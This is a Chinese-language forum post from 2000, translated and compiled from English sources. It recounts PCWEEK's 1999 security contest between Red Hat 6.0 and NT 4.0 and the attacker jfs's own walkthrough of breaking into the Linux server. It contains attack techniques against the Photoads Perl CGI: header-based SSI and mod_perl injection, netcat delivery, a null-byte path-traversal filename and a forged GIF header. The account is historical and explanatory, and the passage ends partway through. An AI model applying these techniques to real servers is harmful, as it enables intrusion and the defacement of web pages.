Linux 版 (精华区)
发信人: tcpip (高级草包), 信区: Linux
标 题: 公报11-PCWEEK 安全测试始末-1
发信站: 紫 丁 香 (Wed May 3 09:32:15 2000) WWW-POST
PCWEEK 安全测试始末
译者:dream bird
------------------------------------------------------------------------------
--
一、引言
近来(99年9月末),美国的PCWEEK杂志进行了一次关于操作系统安全的评测,他们所选
择的系统是Redhat6.0和windows NT4.0。评测的结果很具有戏剧性。我本想把其中的主要
文章翻译出来,方便大家了解。但是,当翻译了一部分以后,发现这次评测所涉及的背景
相当复杂,如果单独看一两篇文章不可能真正的了解这次评测。所以我决定把相关的材料
进行综合,以方便大家阅读。本文中大多为译文,并不完全代表我的观点,其原文版权归
原文作者所有。
二、背景
美国PCWEEK杂志(ZDNet 的下属刊物),是以对PC产品的评测而闻名的。但就象其名字一
样,他们的评测往往仅限于PC和相关的产品,对于向Linux这样的具有UNIX风格的类UNIX
系统,他们是缺少经验的,这就直接的决定了其针对这类系统的评测的可信度。
在前一段时期,PCWEEK曾经进行过一次有关网络操作系统运行效率的测试(中文版见
http://www.zdnet.com.cn/),参评的系统有NetWare5、Redhat5.2、windows NT4.0和
SUN的solaris7。其结果令很多人吃惊,NT4.0的性能似乎比solaris7的都要好。很多人都
对其评测的结果表示怀疑,Novell的副总裁还亲自指出了评测中的一些失误。同时很多具
有实际经验的用户指出,系统的效率只是评价系统的一个方面,在实际环境下,可靠性、
成本和其他一些指标往往更加起决定性的作用。有些人更加直接的取笑PCWEEK为PCWEAK或
PCLEAK。
似乎是针对上次的评测的不良反响,PCWEEK决定进行一次关于系统的可靠性、可用性、安
全性和总体拥有成本的系列评测,而评测的第一项就是有关RedHat6.0和windowsNT4.0的
安全性。
与上次评测不同的是,他们避免了单独的测试web服务器和操作系统,转而采取了另外一
种方法。他们在不同的系统上建立实际的并且类似的应用,然后针对不同的系统上建立的
类似的应用来评测该系统。这种方法看似合理,但却对进行评测的技术人员要求较高,进
行起来有一定的难度。实践证明,正是由于这点导致了评测的戏剧性的结果。
三、经过
本文以下部分综合了与这次评测有关的内容,原文您可以从 http://www.hackpcweek.com
/ 和 http://www.redhat.com/ 找到。
PCWEEK为本次评测准备的开场白很有趣:
“悬赏一千美金,来攻击我们的服务器
如何对系统的安全进行测试呢?我们首先在两种操作系统上安装类似的应用程序,然后让
全世界来攻击。与过去不同的是,本次评测中服务器上运行的是现实世界里的程序,具体
说来,是一个为报刊类站点设计的分类广告系统。这个测试不但是对操作系统的考验,同
时也是对整体的测试。在NT平台,我们将采用ASP、IIS、MTS和SQLServer 7;在Linux平
台上,我们将采用Apache和mod_perl。
游戏规则
所要攻击的目标是securelinux.hackpcweek.com和securent.hackpcweek.com。赢得1000
美金礼卷的条件是成功的修改主页,或者取得一个名为top secret的绝密文件。我们拒绝
任何人在没有取得成功的情况下,破坏服务器的运行。”
PCWEEK给出了简单的服务器配置清单。针对NT的配置清单很长,完全可以说这种配置是完
美的了;而对于RedHat的配置短到了只有20行,每行大都只有三五个单词,可以说一般的
用户配置都会接近这个水准。以下是对RedHat的配置清单:
“在磁盘上配置多个分区/usrvartmpvar(原文如此)。
安装RedHat 6.0 ,并且不安装SMTP、FTP和NEWS等服务。
安装Photoads (一个第三方软件,由perl写成的CGI,实现用户载入分类广告的功能,详
见 http://www.hoffice.com/),
Chmod 777 the photoads directory ,
Chmod 755 cgi-bin ,
Chmod 766 kas_data.pl ,
Chmod 766 adnumber.num ,
Chmod 766 ads_data.pl ,
Chmod 755 all *.cgi files ,
为photoads配置缺省目录,
将上载文件的长度设置为0,
删除不需要的用户 。
Set root password to (to what?)。
在inetd.conf中禁止所有的服务。
以用户nobody来配置并运行 Apache服务器,
禁止SSI(server side includes )。
这种配置实现了security-howto中的建议和apache group的安全提示。”
PCWEEK到底真的实现了security-howto的建议了么?实际是没有的,作为一个系统管理人
员,你的责任就是维护系统的运行,其中包括很重要的一点,就是更新有漏洞的软件。而
且UNIX是极其灵活的系统,这种软件的更新完全可以自动的由系统来进行。
在如上所述的情况下,PCWEEK就将两台服务器安置在了防火墙后面,并且保留web服务的
80号端口,以便访问和攻击。
结果是显而易见的,但对于一个有关操作系统的安全性的测试又是很有戏剧性的 。首先
是在RedHat上安装的第三方软件存在漏洞,使一名叫jfs的cracker得以进入系统;然后
jfs他们利用一个已知的系统漏洞(修补程序已经发布一个月左右了)得到了root的权限
,并成功的修改了服务器的主页。
以下是jfs对攻击过程的叙述:
“一次实际攻击的解析(攻击PCWEEK服务器)By Jfs
首先,我必须搜集有关要攻击的主机的信息,看一看开放了哪些端口,有哪些端口可能进
行攻击。经过一翻检查,我发现大部分的端口不是被防火墙保护着,就是由于tcp
wrapper的原因而不能使用,只有HTTP服务器可以下手了。
lemming:~# telnet securelinux.hackpcweek.com 80
Trying 208.184.64.170...
Connected to securelinux.hackpcweek.com.
Escape character is '^]'.
POST X HTTP/1.0
HTTP/1.1 400 Bad Request
Date: Fri, 24 Sep 1999 23:42:15 GMT
Server: Apache/1.3.6 (Unix) (Red Hat/Linux)
(...)
Connection closed by foreign host.
lemming:~#
好,这是一台运行apache和Red Hat的机器。从PCWEEK的提示得知这台服务器也应该运行
mod_perl,但是mod_perl会在服务器上留下一些特征,而这台服务器所发的报头却并没有
这些迹象。
Apache 1.3.6并没有附加任何远端的用户可以使用的CGI程序,但我并不知到RedHat是否
加了一些进去,所以我试着攻击了一些常见的CGI漏洞(tect-cgi,wwwboard,count.cgi
……)
在试验无效的情况下,我试着找出这个web站点的目录结构,从HTML 页所获得的信息我推
断,这个web服务器在DocumentRoot下有如下目录:
/
/cgi-bin
/photoads/
/photoads/cgi-bin
我马上对photoads产生了兴趣,我想这很可能是一个可安装的软件包。经过一翻网上搜索
,我终于发现这个photoads是一个由“The Home Office Online”(www.hoffice.com)
发行的商业软件包,售价149美圆,并且允许你使用其原代码(perl),这样你就可以修
改它了。
我求助于一位朋友,让我看看他的photoads。这使我有机会看到securelinux上所使用的
软件的拷贝。
我看了缺省的安装文件,我可以从广告数据库(在 http://securelinux.hackpcweek.com
/photoads/ads_data.pl)中获得所有用户的广告口令。我也试着访问配置文件
/photoads/cgi-bin/photo_cfg.pl ,但由于服务器的安装设置使我没法达到目的。
我发现,通过脚本/photoads/cgi-bin/env.cgi(类似test-cgi)我可以知道
DocumentRoot目录在文件系统中的位置(/home/httpd/html),另外还有一些其他的有用
的数据(服务器以什么用户的身份运行的,这次是以nobody来运行的)。
所以,我首先试着用SSI(Server side includes )和mod_perl 向HTML中嵌入命令,方
法如下:
<!--#include file="..."--> for SSI
<!--#perl ...--> for mod_perl
通过一个perl正则表达式,服务器的脚本过滤掉了大部分输入,几乎没有多少空间可以使
用。但我也发现了一个由用户付值量,它在变成HTML代码之前并没有对奇怪的变量值进行
检查,这就给我了一个机会可以在HTML代码中嵌入命令,以便服务器端解析。
post.cgi的36行如下:
print "you are trying to post an AD from another URL:<b> $ENV{'HTTP_REFERER'}\
n";
$ENV{'HTTP_REFERER'}是一个由用户提供的变量(为了保证正确性,你得了解一些HTTP报
头的工作原理),这个变量可以让我们把任何HTML代码加进去,不管代码到底是什么样。
该真正的用getit.ssi和getit.mod-perl(两个小程序,此处略去)工作了
我们采用以下的方法:
lemming:~# cat getit.ssi | nc securelinux.hackpcweek.com 80
但不幸的是这台机器并未配置SSI和mod_perl,我钻进了死胡同。
我决定从CGI脚本中找漏洞。perl脚本的漏洞大多出在open()、system()或者 ''调用中。
前者允许读写和执行,而后两个允许执行。
程序中并没有后两个情况出现,但的确有几个open()调用:
lemming:~/photoads/cgi-bin# grep 'open.*(.*)' *cgi | more
advisory.cgi: open (DATA, "$BaseDir/$DataFile");
edit.cgi: open (DATA, ">$BaseDir/$DataFile");
edit.cgi: open(MAIL, "|$mailprog -t") || die "Can't open $mailprog!\n";
photo.cgi: open(ULFD,">$write_file") || die show_upload_failed("$write_file
$!");
photo.cgi: open ( FILE, $filename );
(...)
对 $BaseDir 和 $DataFile我们动不了什么手脚,因为它们都是在配置文件中定义的,程
序运行以后是改变不了的。
$mailprog 也是如此
但其余的两行值得好好研究
photo.cgi 的132行如下:
$write_file = $Upload_Dir.$filename;
open(ULFD,">$write_file") || die show_upload_failed("$write_file $!");
print ULFD $UPLOAD{'FILE_CONTENT'};
close(ULFD);
如果我们可以修改变量$write_file,那么我们就可以写系统中任何文件了。这个
$write_file变量定义如下:
$write_file = $Upload_Dir.$filename;
$Upload_Dir 是由配置文件定义的,我们没法修改,那么$filename呢?
photo.cgi的226行如下:
if( !$UPLOAD{'FILE_NAME'} ) { show_file_not_found(); }
$filename = lc($UPLOAD{'FILE_NAME'});
$filename =~ s/.+\\([^\\]+)$|.+\/([^\/]+)$/\1/;
if ($filename =~ m/gif/) {
$type = '.gif';
}elsif ($filename =~ m/jpg/) {
$type = '.jpg';
}else{
{&Not_Valid_Image}
}
$filename的值来自$UPLOAD{'FILE_NAME'}(是由表格提交给CGI的变量中解析出的)。为
了让我们到我们希望到的地方,$filename必须满足一个正则表达式,我们不能简单的发
送我们需要的文件名,例如“../../../../../../../../etc/passwd ”就是不行的,它
在通过如下的替换后,将什么也得不到:
$filename =~ s/.+\\([^\\]+)$|.+\/([^\/]+)$/\1/;
如果$filename与这个正则表达式相匹配,那么它将变成ASCII码的1(SOH)。除此之外
$filename还必须包括“gif”或“jpg”,否则它将无法通过Not_Valid_Image的检查。
在进行了一翻尝试,我终于在Phreck的有关perlCGI的安全的文章的帮助下发现了
/jfs/\../../../../../../../export/www/htdocs/index.html%00.gif 可以让我们提交
index.html文件(我们必须修改的主页)。但在上载前,我们还得想办法骗过一些脚本代
码。
我们发现如果我们以POST的方法发送表格的话,我们就不能蒙混过关(%00将不会被解析
),所以我们只能用GET了。
在photo.cgi的256行,我们可以看到一段代码会对我们刚刚上载的文件的的内容进行检查
,如果文件不符合特定的图象规格(主要是宽、高和大小),脚本将会删除或改写该文件
,这是我们所不希望见到的,至少我们要在服务器上留下一些我们的资料。(注意,
photo.cgi脚本可以用来上载一个由你的广告使用的广告图片。)
PCWEEK在配置文件中将ImageSize设置成0,所以我们不用去管有关JPG的部分,让我们将
注意力集中于GIF部分。
if ( substr ( $filename, -4, 4 ) eq ".gif" ) {
open ( FILE, $filename );
my $head;
my $gHeadFmt = "A6vvb8CC";
my $pictDescFmt = "vvvvb8";
read FILE, $head, 13;
(my $GIF8xa, $width, $height, my $resFlags, my $bgColor, my $w2h) = unpack
$gHeadFmt, $head;
close FILE;
$PhotoWidth = $width;
$PhotoHeight = $height;
$PhotoSize = $size;
return;
}
photo.cgi的140行如下:
if (($PhotoWidth eq "") || ($PhotoWidth > '700')) {
{&Not_Valid_Image}
}
if ($PhotoWidth > $ImgWidth || $PhotoHeight > $ImgHeight) {
{&Height_Width}
}
所以我们不得不把$PhotoWidth设置成小于700,不是"",并且比ImgWidth小(缺省是350
)。
所以有$PhotoWidth !="" && $PhotoWidth<350。
对于$PhotoHeight,它必须比$ImgHeight 小(缺省是250)。所以$PhotoWidth =
$PhotoHeight = 0 正好。从脚本中的付值方法来看,我们只要将该值的第6和9字节置0(
NUL)就可以了。
我们保证我们的FILE_CONTENT符合以上的条件,并继续进行下一步了……
chmod 0755, $Upload_Dir.$filename;
$newname = $AdNum;
rename("$write_file", "$Upload_Dir/$newname");
Show_Upload_Success($write_file);
经过以上的代码,我们的文件被重命名或者说移动到了我们不希望的地方了。
查看有关$AdNum变量值的最后代码,我们看到它只能包含阿拉伯数字:
$UPLOAD{'AdNum'} =~ tr/0-9//cd;
$UPLOAD{'Password'} =~ tr/a-zA-Z0-9!+&#%$@*//cd;
$AdNum = $UPLOAD{'AdNum'};
其他的东西都将被去掉,所以我们不能在这儿使用../../../的蒙骗手法了。
怎么办?rename()函数需要两个路径参数,一个是新的,一个是旧的……等等,这个函数
没有错误检验,所以如果它出错的话,程序就会跳过去,我们怎样能使它出错呢?用一个
非法的文件名。Linux系统缺省的最长的文件名的限制是1024(MAX_PATH_LEN),所以如
果我们能让这个脚本把我们的文件重命名成一个比1024字节长的文件的话就行了。
--
"这一千多年没写诗了?"
"写了, 不过只写了两句."
"千年得两句, 一定是万古丽句了. 念来听听."
"好吧, 我现丑了" 太白星清了清嗓子, 浑厚的男中音在天庭响起:
大海啊, 都是水;
骏马啊, 四条腿;
※ 来源:·紫 丁 香 bbs.hit.edu.cn·[FROM: freesrc.hit.edu]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
页面执行时间:3.318毫秒